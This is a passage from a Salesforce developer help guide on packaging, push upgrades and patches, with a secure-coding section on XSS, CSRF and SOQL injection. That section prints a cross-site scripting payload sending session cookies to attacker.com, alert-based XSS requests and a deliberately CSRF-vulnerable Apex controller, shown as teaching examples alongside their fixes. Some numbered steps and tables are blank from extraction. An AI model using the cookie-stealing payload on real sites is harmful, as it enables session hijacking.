Salesforce automatically includes, see Developing Packages for Distribution.
When you package a joined report, each block is included in the package. Although the blocks appear in the
package as reports, when you click on a block, you see an error message that you have insufficient privileges
to view the report. This is expected behavior. Instead, click on the name of the joined report to run it.
4. Optionally, click View Dependencies and review a list of components that rely on other components, permissions, or
preferences within the package. An entity may include such things as an s-control, a standard or custom field, or an
organization-wide setting like multicurrency. Your package cannot be installed unless the installer has the listed components
enabled or installed. For more information on dependencies, see Understanding Dependencies on page 1970. Click Done
to return to the Package detail page.
Note: You cannot upload packages that contain any of the following:
References to person accounts, such as an s-control or custom field referencing person accounts.
Workflow rules or workflow actions (such as field updates or outbound messages) that reference record
types.
Reports that reference record types on standard objects.
1966
Create
5. Click Upload.
Note: If you are creating a managed package to publish on AppExchange, you must certify your application before
you package it. For more information, seeSecurity and Trust on AppExchange.
On the Upload Package page, do the following:
a. Enter a Version Name. As a best practice, it's useful to have a short description and the date.
b. Enter a Version Number for the upload, such as 1.0. The format is majorNumber.minorNumber.
Note:
If you are uploading a new patch version, you can't change the patch number.
The version number represents a release of a package. This field is required for managed and unmanaged packages.
For a managed package, the version number corresponds to a Managed - Released upload. All beta uploads use the
same version number until you upload a Managed - Released package version with a new version number. For example,
the following is a sequence of version numbers for a series of uploads.
Upload
Sequence
Type
Version Notes
Number
First upload
Managed - Beta
1.0
Second
upload
Managed - Released
1.0
1.1
2.0
Fifth upload
2.0
Managed - Released
Choose Managed - Released to upload an upgradeable version. After upload, some attributes of Salesforce components
are locked. For a list of locked attributes, see Developing Packages for Distribution.
Choose Managed - Beta if you want to upload a version of your package to a small sampling of your audience for
testing purposes. You'll still be able to change the components and upload additional beta versions. For information
on beta versions, see Developing Packages for Distribution.
Note: Beta packages can only be installed in Developer Edition or sandbox organizations, and thus can't
be pushed to customer organizations.
1967
Create
Trialforce Branding
f. Salesforce automatically selects the requirements it finds. In addition, select any other required components from the
Package Requirements and Object Requirements sections to notify installers of any requirements for this
package.
g. Click Upload.
6. Once your upload is complete you can do any of the following.
When you deprecate a package, remember to remove it from AppExchange as well. See Removing Apps from
AppExchange in the AppExchange online help.
You will receive an email that includes an installation link when your package has been uploaded successfully.
Note: If you uploaded from your Salesforce production organization, notify installers who want to install it in a sandbox
organization to replace the login.salesforce.com portion of the installation link with test.salesforce.com.
See Also:
Overview of Packages
Managing Packages
Understanding Dependencies
Managing Versions
Creating and Uploading Patches
Publishing Upgrades to Managed Packages
Publishing Extensions to Managed Packages
Trialforce Branding
Available in: Developer Edition
Customize Application
App developers using Trialforce to create new trials of their product can optionally set up a branded login site and system
emails. By branding these areas with your company's look and feel, users of your application will be immersed in your brand
from sign-up to login.
A branded login page enables you to specify your login domain and login site.
1968
Create
Managing Versions
Login domains end with .cloudforce.com, so that if your company name is mycompany, then your login domain
will be mycompany.cloudforce.com.
Your custom login site includes your text and company logo, and mobile-friendly versions of your login site as well.
Branded emails allow you to specify fields in system-generated emails so that your company name, address, and other pertinent
details are used in email correspondence. You can create multiple branded email sets for different campaigns, customer bases,
etc.
Note: To configure branding, you must be logged into a Trialforce Management Organization (TMO). To get your
TMO, log a case in the Salesforce Partner Portal.
Managing Versions
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
After you upload a package to Force.com AppExchange, you can still manage it from Salesforce. To manage your versions:
1. Click Your Name > Setup > Create > Packages.
2. Select the package that contains the app or components you uploaded.
3. Select the version number listed in the Versions tab.
When you deprecate a package, remember to remove it from AppExchange as well. See Removing Apps from
AppExchange in the AppExchange online help.
1969
Create
Understanding Dependencies
Note: To create a test drive or choose a License Management Organization (LMO) for what you have uploaded,
click Proceed to AppExchange from the package upload detail page.
See Also:
Preparing Your Apps for Distribution
Understanding Dependencies
Creating and Uploading Patches
Publishing Upgrades to Managed Packages
Publishing Extensions to Managed Packages
Security Tips for Apex and Visualforce Development
Understanding Dependencies
AppExchange packages and Visualforce are available in: Group, Professional, Enterprise, Unlimited, and Developer
Editions
Apex available in: Enterprise, Unlimited, and Developer Editions
Author Apex
Developer Mode
Package dependencies are created when one component references another component, permission, or preference that is
required for the component to be valid. Force.com tracks certain dependencies, including:
Packages, Apex classes, Apex triggers, Visualforce components, and Visualforce pages can have dependencies on components
within an organization. These dependencies are recorded on the Show Dependencies page.
Dependencies are important for packaging because any dependency in a component of a package is considered a dependency
of the package as a whole.
Note: An installers organization must meet all dependency requirements listed on the Show Dependencies page or
else the installation will fail. For example, the installer's organization must have divisions enabled to install a package
that references divisions.
Dependencies are important for Apex classes or triggers because any component on which a class or trigger depends must be
included with the class or trigger when the code is deployed or packaged.
1970
Create
Understanding Dependencies
In addition to dependencies, the operational scope is also displayed on the Show Dependencies page. The operational scope is
a table that lists any data manipulation language (DML) operations (such as insert or merge) that Apex executes on a
specified object. The operational scope can be used when installing an application to determine the full extent of the applications
database operations.
To view the dependencies and operational scope for a package, Apex class, Apex trigger, or Visualforce page:
1. Navigate to the appropriate component:
For packages, click Your Name > Setup > Create > Packages.
For Apex classes, click Your Name > Setup > Develop > Apex Classes.
For Apex triggers on standard objects, click Your Name > Setup > Customize, click the name of the object, and then
click Triggers.
For Apex triggers on custom objects, click Your Name > Setup > Create, click the name of the object, and then click
Triggers.
For Visualforce pages, click Your Name > Setup > Develop > Pages.
For example, if a Visualforce page includes a reference to a multicurrency field, such as {!contract.ISO_code}, that
Visualforce page has a dependency on multicurrency. If a package contains this Visualforce page, it also has a dependency on
multicurrency. Any organization that wants to install this package must have multicurrency enabled.
See Also:
Preparing Your Apps for Distribution
Managing Versions
Publishing Upgrades to Managed Packages
Publishing Extensions to Managed Packages
Field Operational Scope
1971
Create
Author Apex
Developer Mode
The fields displayed on the Fields Operational Scope page are referenced through the operational scope:
If the Is Updated checkbox is selected, the field is updated using a database manipulation language (DML) operation,
such as insert or update. For more information, see Understanding Dependencies on page 1970.
If the Is Updated checkbox is not selected, the field is only referenced within the operational scope. For example, it may
be included as part of a select statement.
If the External ID checkbox is selected, the field acts as an External ID. An external ID field contains unique record
identifiers from a system outside of Salesforce. You can use the sidebar search to find external ID values, and you can use
the field in the Force.com API. When using the import wizards for custom objects and solutions, you can use this field to
prevent duplicates.
See Also:
Understanding Dependencies
Note: Patch versions and push upgrades are only available to Salesforce ISV partners.
After you have created a patch version of your package, you can automatically deploy it to customers using a push upgrade.
1972
Create
Tip: Salesforce.com strongly recommends the following sequence for pushing package upgrades:
1. Push the patch to your own organizations so that you can run tests and fix any bugs before upgrading subscribers.
2. When youre ready, push to your customers organizations. Try sandbox organizations first, if possible.
3. If the patch applies to your most recent release, deprecate the previous version of your package in your main
development organization. Replace the version on AppExchange if necessary, and update your Trialforce.
4. Run the push upgrade once again to ensure any remaining subscribers are upgraded.
5. After your patch is successfully distributed to subscriber organizations, reintegrate those changes into your main
development organization.
For more information about combining patches into the main development organization, see Working with Patch
Versions in the Force.com Quick Reference for Developing Packages.
Read the Best Practices for Push Upgrades and Patch Versions on page 1978 for more information.
To schedule a push upgrade:
1. Log into your main development organization.
2. Under Your Name > Setup > Create > Packages, click the name of your managed package with a patch you want to push.
On the package detail page, click the Versions tab, and then click Push Upgrades.
3. Click Schedule Push Upgrades.
4. Select a patch version to push from the Patch Version drop-down list. Only packages that have been uploaded from a
patch development organization are available in this list.
Note: Beta versions arent eligible for push.
5. Enter a Scheduled Start Date, indicating when a push upgrade should begin.
6. Optionally, check Ignore Apex test failures during upgrade.
Caution:
This checkbox should be selected in rare cases when a push upgrade is failing due to an Apex test failure. Only
select this option if both you and your subscriber have reviewed the package you want to upgrade and both agree
that upgrading to the new version is safe. For more information on why your install might have failed, see Resolving
Apex Test Failures on page 1992.
7. In the Select Target Organizations section, select the organizations to receive your push upgrade. If an organization already
received a push upgrade for the selected package version, it wont appear in this list. You can select organizations by:
Entering a term that filters based on an organizations name or ID. Names can match by partial string, but IDs must
match exactly.
Choosing between production and sandbox organizations from the Organizations drop-down list.
Choosing organizations that have already installed a particular version.
Clicking on individual organizations, or the Select All and Deselect All checkboxes.
This section lists the following information about the organization (in alphabetical order):
Field
Description
Current Version
1973
Create
Field
Description
Organization ID
Organization Name
Primary Contact
8. Click Schedule.
While a push upgrade is in progress, you can click Abort to stop it.
On the previous push upgrades page, the Push Upgrade History table lists recently scheduled push upgrades for the package.
See Also:
Viewing Push Upgrade Details
Preparing Your Apps for Distribution
Managing Versions
Publishing Upgrades to Managed Packages
Note: Patch versions and push upgrades are only available to Salesforce ISV partners.
To view the details of a push upgrade sent by your organization, click Your Name > Setup > Create > Packages, click the
name of the package you want to view, then click Push Upgrades. To schedule a new push upgrade, click Schedule Push
Upgrade.
The Push Upgrade History page lists the status of all your pending and previous push upgrades. To filter your push upgrade
history:
1. Select a version number from the drop-down list. Not selecting any version is equivalent to selecting all of them.
2. Select one or more statuses from the Status list. Not selecting any status is equivalent to selecting all of them.
3. Click Apply to filter the list. Click Clear to remove all the filters.
The history displays the following information (in alphabetical order):
1974
Create
Column
Description
Action
Start Date
Status
Target
The name of the organization the push upgrade went to. For
multiple organizations, this field only lists the first organization
in the queue, followed by the number of the total selected
organizations. Clicking on this link provides you with more
information about the target push upgrade and each individual
organization.
Version
See Also:
Viewing Push Upgrade Details
Preparing Your Apps for Distribution
Managing Versions
Publishing Upgrades to Managed Packages
Note: Patch versions and push upgrades are only available to Salesforce ISV partners.
For information about a specific push upgrade that your organization sent, click Your Name > Setup > Create > Packages,
click the name of the package you want to view, then click Push Upgrades. Clicking on the name of a Target takes you to
the Push Upgrade Details page, which has information both for the push job and each organization that it was pushed to.
The Job Details section has the following information about the overall push upgrade (in alphabetical order):
Field
Description
End Date
1975
Create
Field
Description
Scheduled By
Start Date
Status
Version
In the Organizations section, you can get a list of all the organizations that received a push upgrade. You can filter organizations
by using the search box and entering a term that filters based on an organizations name or ID. Names can match by partial
string, but IDs must match exactly. From the drop-down list, you can also filter based on the status of the push upgrade.
The list contains the following information specific to each organization (in alphabetical order):
Field
Description
Duration
Failure Type
Lists the type of failure that occurred (if any). If the push
upgrade did fail, a possible explanation is provided in the
collapsible section. If the push upgrade was unsuccessful, click
Retry to try it again.
Organization ID
Organization Name
Start
Status
See Also:
Viewing Push Upgrade History
Scheduling Push Upgrades
Preparing Your Apps for Distribution
Managing Versions
Publishing Upgrades to Managed Packages
1976
Create
Note: Patch versions and push upgrades are only available to Salesforce ISV partners.
For more information about a specific organization that received a push upgrade, click Your Name > Setup > Create >
Packages, click the name of the package you want to view, then click on the name of a Target. Clicking on an organization
in the target list provides the following details (in alphabetical order):
Field
Description
Current Version
Organization ID
Organization Name
Primary Contact
Status
The Push Upgrade History lists the following information (in alphabetical order):
Field
Description
Action
Clicking View Details returns you to the job details for that
upgrade.
Start Date
Status
1977
Create
Field
Description
Version
See Also:
Viewing Push Upgrade Details
Viewing Push Upgrade History
Creating and Uploading Patches
Scheduling Push Upgrades
Preparing Your Apps for Distribution
Managing Versions
Publishing Upgrades to Managed Packages
Note: Patch versions and push upgrades are only available to Salesforce ISV partners.
Pushes can be scheduled to run immediately, or at a future date. It's recommend that you schedule push upgrades at off-peak
hours to minimize potential subscriber impact.
Only ignore Apex tests after confirming with your customer that it's safe to upgrade.
Visualforce pages that are refreshed while a push upgrade is in process may lose their view state if the page or controller is
changed.
To push new translations for existing components, add the languages for those translations to the package when you upload
it as a major release. Then, add the individual translations in patch releases.
Visible changes to a package shouldn't be performed in a patch. Other than a change in the package version number,
subscribers aren't notified of push upgrades.
Changes to validation rules, formula fields, and errors thrown from Apex triggers are highly discouraged, as they may
negatively impact subscribers integrations.
1978
Create
Customize Application
Salesforce recommends publishing your app on AppExchange with the following types of documentation:
Configure Option
You can include a Configure option for installers. This option can link to installation and configuration details, such
as:
The Configure option is included in your package as a custom link. You can create a custom link for your home page
layouts and add it to your package.
1. Create a custom link to a URL that contains configuration information or a Visualforce page that implements
configuration. When you create your custom link, set the display properties to Open in separate popup window
so that the user returns to the same Salesforce page when done.
2. When you create the package, choose this custom link in the Configure Custom Link field of your package
detail.
Data Sheet
Give installers the fundamental information they need to know about your app before they install.
Customization and Enhancement Guide
Let installers know what they must customize after installation as part of their implementation.
Custom Help
You can provide custom help for your custom object records and custom fields.
Tip: To give your custom help a professional tone using Salesforce terminology, follow the Salesforce.com Style
Guide for Documentation and User Interface Text. To use the Salesforce styles, use Visualforce to design your
pages.
See Also:
Overview of Packages
Assigning Force.com AppExchange Publishers
1979
Create
Customize Application
Users that publish packages on Force.com AppExchange must have the following user permissions:
Create Force.com AppExchange packages
Allows a user to create packages and add components to it.
Upload Force.com AppExchange Packages
Allows a user to upload and register or publish packages to Force.com AppExchange.
The System Administrator profile automatically has both these permissions. Determine which of your users should have these
permissions and add them to the appropriate user profiles or permission sets.
See Also:
Overview of Packages
Developing App Documentation
Understanding Security
The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and
business logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However,
as with any programming language, developers must be cognizant of potential security-related pitfalls.
Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, careless developers can
still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the
coding mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities,
while others are unique to Apex.
1980
Create
To certify an application for AppExchange, it is important that developers learn and understand the security flaws described
here. For additional information, see the Force.com Security Resources page on Developer Force at
http://wiki.developerforce.com/page/Security.
See Also:
Managing Versions
This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following
value for userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if
they were the victim.
The attacker can post a malicious script using a Web site or email. Web application users not only see the attacker's input,
but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety
of attacks against the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks,
such as stealing data or session cookies, allowing an attacker full access to the victim's session.
For more information on this attack in general, see the following articles:
http://www.owasp.org/index.php/Cross_Site_Scripting
http://www.cgisecurity.com/articles/xss-faq.shtml
http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
http://www.google.com/search?q=cross-site+scripting
Within the Force.com platform there are several anti-XSS defenses in place. For example, salesforce.com has implemented
filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods,
the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or
accidentally bypass the default controls. The following sections show where protection does and does not exist.
1981
Create
Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following
code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but
the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form.
For example, the < character is converted to < so that a literal < displays on the user's screen.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>
<apex:includeScript>
The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these
cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the
following snippet is extremely vulnerable because it includes user-supplied input as the value of the script text. The value
provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as
in the example below), they can potentially direct the victim to include any JavaScript file from any other website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />
Formula Tags
The general syntax of these tags is:{!FUNCTION()} or {!$OBJECT.ATTRIBUTE}. For example, if a developer wanted to
include a user's session ID in a link, they could create the link using the following syntax:
<a
href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>
1982
Create
Formula expressions can be function calls or include information about platform objects, a user's environment, system
environment, and the request environment. An important feature of these expressions is that data is not escaped during
rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using JavaScript
or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system
data (that is potentially hostile or editable data) and the expression itself is not wrapped in a function to escape the output
during rendering. A common vulnerability is created by the use of the {!$Request.*} expression to access request parameters.
<html>
<head>
<title>{!$Request.title}</title>
</head>
<body>Hello world!</body>
</html>
Unfortunately, the unescaped {!$Request.title} tag also results in a cross-site scripting vulnerability. For example, the
request:
http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E
The standard mechanism to do server-side escaping is through the use of the SUBSTITUTE() formula tag. Given the placement
of the {!$Request.*} expression in the example, the above attack can be prevented by using the following nested
SUBSTITUTE() calls.
<html>
<head>
<title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
</head>
<body>Hello world!</body>
</html>
Depending on the placement of the tag and usage of the data, both the characters needing escaping, as well as their escaped
counterparts, can vary. For instance, this statement:
<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>
requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped
", since it is probably going to be used in a link. Otherwise, the request:
http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F
results in:
<script>var ret = "foo";alert('xss');//";</script>
1983
Create
Additionally, the ret variable might need additional client-side escaping later in the page if it is used in a way which can
cause included HTML control characters to be interpreted.
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization,
it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with
higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine
the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which
has been imported from external sources and might not have been screened for malicious content.
In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your
Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds
because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative
by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:
http://www.owasp.org/index.php/Cross-Site_Request_Forgery
http://www.cgisecurity.com/articles/csrf-faq.shtml
http://shiflett.org/articles/cross-site-request-forgeries
Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page
includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of
this string of characters and does not execute the command unless the value matches the expected value. This feature protects
you when using all of the standard controllers and methods.
Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a
custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider
the following code snippet.
<apex:page controller="myClass" action="{!init}"</apex:page>
public class myClass {
public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;
}
}
In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The
id parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might
have sent the user to this page using a CSRF attack and provided any value they wish for the id parameter.
1984
Create
There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action
based upon a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an
intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions
include shortening the idle session timeout for the organization and educating users to log out of their active session and not
use their browser to visit other sites while authenticated.
SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own
database query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks
are much lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection.
In summary SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If
the input is not validated, it can include SOQL commands that effectively modify the SOQL statement and trick the application
into performing unintended commands.
For more information on SQL Injection attacks see:
http://www.owasp.org/index.php/SQL_injection
http://www.owasp.org/index.php/Blind_SQL_Injection
http://www.owasp.org/index.php/Guide_to_SQL_Injection
http://www.google.com/search?q=sql+injection
This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted.
The user provides one input value called name. The value can be anything provided by the user and it is never validated. The
SOQL query is built dynamically and then executed with the Database.query method. If the user provides a legitimate
value, the statement executes as expected:
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')
1985
Create
Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended
logic of any vulnerable query.
SOQL Injection Defenses
To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables.
The vulnerable example above can be re-written using static SOQL as follows:
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String queryName = '%' + name + '%';
queryResult = [SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like :queryName)];
return null;
}
}
If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds
the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all
single quotation marks are treated as enclosing strings, instead of database commands.
1986
Create
In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view
these records. The solution is to use the qualifying keywords with sharing when declaring the class:
public with sharing class customController {
. . .
}
The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in,
rather than granting full access to all records.
Note: Patch versions and push upgrades are only available to Salesforce ISV partners.
Patch versions are developed and maintained in a patch development organization. For more information on push upgrades
and patches, see the Force.com Quick Reference for Developing Packages. You can also read the Best Practices for Push
Upgrades and Patch Versions on page 1978 for more information.
To create a patch version:
1.
2.
3.
4.
After you receive an email indicating Salesforce has created your patch development organization, you can click Login to begin
developing your patch version.
Development in a patch development organization is restricted. The following is a list of caveats:
1987
Create
API and dynamic Apex access controls cant change for the package.
No deprecation of any Apex code.
No new Apex class relationships, such as extends, can be added.
No new Apex access modifiers, such as virtual or global, can be added.
No new Web services can be added.
No new feature dependencies can be added.
When you finish developing your patch, in your patch development organization:
1.
2.
3.
4.
5.
Click Your Name > Setup > Create > Packages and click the name of the package.
On the Upload Package page, click Upload.
Enter a Version Name. As a best practice, it's useful to have a short description and the date.
Notice that the Version Number has had its patchNumber incremented.
For managed packages, select a Release Type:
Choose Managed - Released to upload an upgradeable version. After upload, some attributes of Salesforce components
are locked. For a list of locked attributes, see Developing Packages for Distribution.
Choose Managed - Beta if you want to upload a version of your package to a small sampling of your audience for testing
purposes. You'll still be able to change the components and upload additional beta versions. For information on beta
versions, see Developing Packages for Distribution.
Note: Beta packages can only be installed in Developer Edition or sandbox organizations, and thus can't be
pushed to customer organizations.
See Also:
Scheduling Push Upgrades
Viewing Push Upgrade History
Preparing Your Apps for Distribution
Managing Versions
Publishing Upgrades to Managed Packages
1988
Create
Customize Application
To create packages:
To upload packages:
Your organization may already have uploaded and registered packages on Force.com AppExchange directory. All packages
uploaded prior to the Winter '07 release are unmanaged, meaning they cannot be upgraded in the installer's organization. You
can convert them to managed packages by configuring your organization for managed packages and choosing a package to be
managed. This allows you to notify installers when an upgrade is ready for them to install.
Before you convert an existing package to managed, notify your current installers of how to save their data:
1.
2.
3.
4.
Export all the data from the previous, unmanaged version of the package.
Uninstall the unmanaged package.
Install the new managed version of the package.
Import all the exported data into the new managed package.
Note: Note to installers: if you have made customizations to an installation of an unmanaged package, make a list
of these customizations before uninstalling since you may want to implement them again. However, some
customizations will not be possible with a managed package. See the Force.com Quick Reference for Developing
Packages.
See Also:
Managing Packages
Enabling Managed Packages for Your Organization
1989
Create
To upload packages:
An extension is any package, component, or set of components that adds to the functionality of a managed package. An
extension requires that the base managed package be installed in the organization. For example, if you have built a recruiting
app, an extension to this app might include a component for performing background checks on candidates.
The community of developers, users, and visionaries building and publishing apps on Force.com AppExchange is part of what
makes Force.com such a rich development platform. Use this community to build extensions to other apps and encourage
them to build extensions to your apps.
To publish extensions to a managed package:
1. Install the base package in the Salesforce organization that you plan to use to upload the extension.
2. Build your extension components.
Note: To build an extension, install the base package and include a dependency to that base package in your
package. The extension attribute will automatically become active.
3. Create a new package and add your extension components. Salesforce automatically includes some related components.
For more information, see the Force.com Quick Reference for Developing Packages.
4. Upload the new package that contains the extension components.
5. Proceed with the publishing process as usual. For information on creating a test drive or registering and publishing your
app, go to http://sites.force.com/appexchange/publisherHome.
Note: Packages cannot be upgraded to Managed - Beta if they are used within the same organization as an extension.
See Also:
Preparing Your Apps for Distribution
Understanding Dependencies
Managing Versions
Publishing Upgrades to Managed Packages
1990
Create
Customize Application
To create packages:
To upload packages:
As a publisher, first ensure that your app is upgradeable by converting it to a managed package. Any changes you make to the
components in a managed package are automatically included in subsequent uploads of that package, with one exception.
When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures that
the administrator installing the upgrade has full control. Installers should carefully examine the changes in package access in
each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the administrator
should manually apply any acceptable changes after installing an upgrade. For more information, see About API and Dynamic
Apex Access in Packages on page 2234.
To publish upgrades to a managed package:
1. Select the package from the list of packages available at Your Name > Setup > Create > Packages.
2. View the list of package components. Changes you have made to components in this package are automatically included
in this list. If the changes reference additional components, those components are automatically included as well. To add
new components, click Add to add them to the package manually.
3. Click Upload and upload it as usual.
Note:
After you upload a new version of your Managed - Released package, you can click Deprecate so installers cannot
install an older version. Deprecation prevents new installations of older versions without affecting existing
installations. For more information, see Managing Versions on page 1969.
You cannot deprecate the most recent version of a managed package upload.
4. When you receive an email with the link to the upload on Force.com AppExchange, notify your installed users that the
new version is ready. Use the list of installed users from the License Management Application (LMA) to distribute this
1991
Develop
information. The License Management Application (LMA) automatically stores the version number that your installers
have in their organizations.
See Also:
Preparing Your Apps for Distribution
Understanding Dependencies
Managing Versions
Creating and Uploading Patches
Publishing Extensions to Managed Packages
Package installs or upgrades may fail for not passing Apex test coverage. However, some of these failures can be ignored. For
example, a developer might write an Apex test that makes assumptions about a subscriber's data.
If you're a subscriber whose installation is failing due to an Apex test, contact the developer of the package for help.
If you're a developer and an install fails due to an Apex test failure, check for the following:
Make sure that you are staging all necessary data required for your Apex test, instead of relying on subscriber data that
exists
If a subscriber creates a validation rule, required field, or trigger on an object referenced by your package, your test might
fail if it performs DML on this object. If this object is created only for testing purposes and never at runtime, and the
creation fails due to these conflicts, you might be safe to ignore the error and continue the test. Otherwise, contact the
customer and determine the impact.
DEVELOP
Development Overview
The available setup options vary according to which Salesforce Edition you have.
Click Your Name > Setup > Develop to access the following options. These app builder tools may require some programming
knowledge:
Apex Classes
Available in Developer, Enterprise, and Unlimited Editions only. Define Apex classes that you can use to add additional
business logic to your custom applications.
1992
Develop
Development Overview
Apex Triggers
Available in Developer, Enterprise, and Unlimited Editions only. View all Apex triggers defined for your organization.
Working with Apex Test Execution
Available in Developer, Enterprise, and Unlimited Editions only. Run Apex unit tests and view test results.
API
Available in Enterprise, Unlimited, and Developer Editions only. Download WSDL files that allow you to integrate
external applications with Salesforce.
Components
Available in Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions. Define custom
Visualforce components that you can use in one or more Visualforce pages.
Custom Settings
Available in Group, Personal, Developer, Enterprise, and Unlimited Editions. Create and manage custom data for your
organization.
Email Services
Available in Developer, Enterprise, and Unlimited Editions. Define Apex classes that can process inbound email.
Pages
Available in Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions. Define Visualforce
pages that display your own custom user interfaces.
S-Controls
Edit Java applets or Active-X controls for use in dynamic custom links or Web tabs.
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have
never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will
remain unaffected, and can still be edited.
Sites
Available in Developer, Enterprise, and Unlimited Editions. Create public websites and applications that are integrated
into Salesforce.
Static Resources
Available in Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions. Upload content
that you can reference in a Visualforce page, including archives (such as .zip and .jar files), images, stylesheets,
JavaScript programs, and other files.
Remote Access
Available in all editions. Create and manage a remote access application. A remote access application is an application
external to Salesforce that uses the OAuth protocol to verify both the Salesforce user and the external application.
1993
Develop
Tools
Available in Developer, Enterprise, and Unlimited Editions only. Download tools that can assist you with building,
debugging, testing, and deploying Apex.
See Also:
App Builder Tools Overview
App Setup Overview
Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control
statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java
and acts like database stored procedures, Apex enables developers to add business logic to most system events, including button
clicks, related record updates, and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on
objects.
Apex can be stored on the platform in two different forms:
A class is a template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined
methods, variables, exception types, and static initialization code under Your Name > Setup > Develop > Apex Classes.
See Managing Apex Classes on page 1998.
A trigger is Apex code that executes before or after specific data manipulation language (DML) events occur, such as before
object records are inserted into the database, or after records have been deleted. Triggers are stored as metadata in Salesforce.
A list of all triggers in your organization is located at Your Name > Setup > Develop > Apex Triggers. See Managing
Apex Triggers on page 2008.
Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules arent taken
into account during code execution.
You must have at least 75% of your Apex covered by unit tests before you can deploy your code to production environments.
In addition, all triggers must have some test coverage. See About Apex Unit Tests on page 2037.
After creating your classes and triggers, as well as your tests, replay the execution using the Developer Console.
Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization,
a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization,
you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com
Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com
to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master
Subscription Agreement.
1994
Develop
For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide.
See Also:
Defining Apex Classes
Viewing Apex Classes
Apex Class Security Overview
Creating an Apex Class from a WSDL
Defining Apex Triggers
What is a Debug Log?
Working with the Developer Console
About Apex Unit Tests
Monitoring Debug Logs
Using Tools for Developing and Deploying Apex
Handling Apex Exceptions in Managed Packages
